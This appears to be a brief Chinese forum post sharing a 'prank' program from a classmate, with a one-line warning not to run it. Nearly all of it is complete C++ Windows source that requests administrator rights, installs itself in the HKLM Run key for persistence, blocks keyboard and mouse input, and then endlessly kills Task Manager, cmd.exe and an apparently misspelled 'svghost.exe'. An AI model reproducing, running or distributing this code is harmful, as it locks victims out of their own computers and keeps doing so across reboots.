rt,同学发给我的恶搞程序，最好不要直接F11

#include<bits/stdc++.h>
#include<windows.h>
#include<tchar.h>
using namespace std;
int lock(bool lockb=false){
	HINSTANCE hIn = NULL;
	hIn = LoadLibrary("user32.dll");
	if(hIn){
        BOOL (_stdcall *BlockInput)(BOOL bFlag);
        BlockInput = (BOOL (_stdcall *)(BOOL bFlag)) GetProcAddress(hIn, "BlockInput");
        if (BlockInput) return BlockInput(lockb);
        else cout<<"调用失败,无法加载BlockInput函数";
    }else cout<<"调用失败,无法包含user32.dll";
	return -1;
}
bool GetPrivilege()// 提权
{
    CreateEvent(NULL, FALSE, FALSE, _T("{29544E05-024F-4BC1-A272-452DBC8E17A4}")); //用来创建或打开一个命名的或无名的事件对象
    if (ERROR_SUCCESS != GetLastError())
    {
        return false;
    }
    else
    {
        TCHAR strPath[MAX_PATH] = { 0 };
        HMODULE hModule = NULL;
        GetModuleFileName(hModule, strPath, MAX_PATH);
 
        SHELLEXECUTEINFO sei = { sizeof(SHELLEXECUTEINFO) };
        sei.lpVerb = TEXT("runas");
		sei.lpFile = strPath;
        sei.nShow = SW_SHOWNORMAL;
        if (!ShellExecuteEx(&sei))   //对指定应用程序运行某个操作
        {
 
            DWORD dwStatus = GetLastError();
            if (dwStatus == ERROR_CANCELLED)
            {
                return false;
            }
            else if (dwStatus == ERROR_FILE_NOT_FOUND)
            {
                return false;
            }
        }
    }
    Sleep(100);        // 防止退出的太早
	exit(0);        //退出没有管理员权限的进程
}
void HKRunator()
{
    char programName[MAX_PATH] = { 0 };
    DWORD dwRet = GetModuleFileName(NULL, (LPSTR)programName, MAX_PATH);
    HKEY hKey = NULL;
    DWORD rc;
    rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_WOW64_64KEY | KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (rc == ERROR_SUCCESS)
    {
        rc = RegSetValueEx(hKey,"MyProgramName",0,REG_SZ,(const BYTE*)programName,strlen(programName));
        if (rc == ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
        }
    }
}
int main()
{
	GetPrivilege();
	HKRunator();
	printf("你想多久以后电脑重启？\n");
	int n;
	cin>>n;
	lock(true);
	for(int i=1;i<=n*60;i++)Sleep(1000);
	while(1)
	{
		system("taskkill -F -IM svghost.exe");
		system("taskkill -f -im Taskmgr.exe");
		system("taskkill -f -im cmd.exe");
	}
}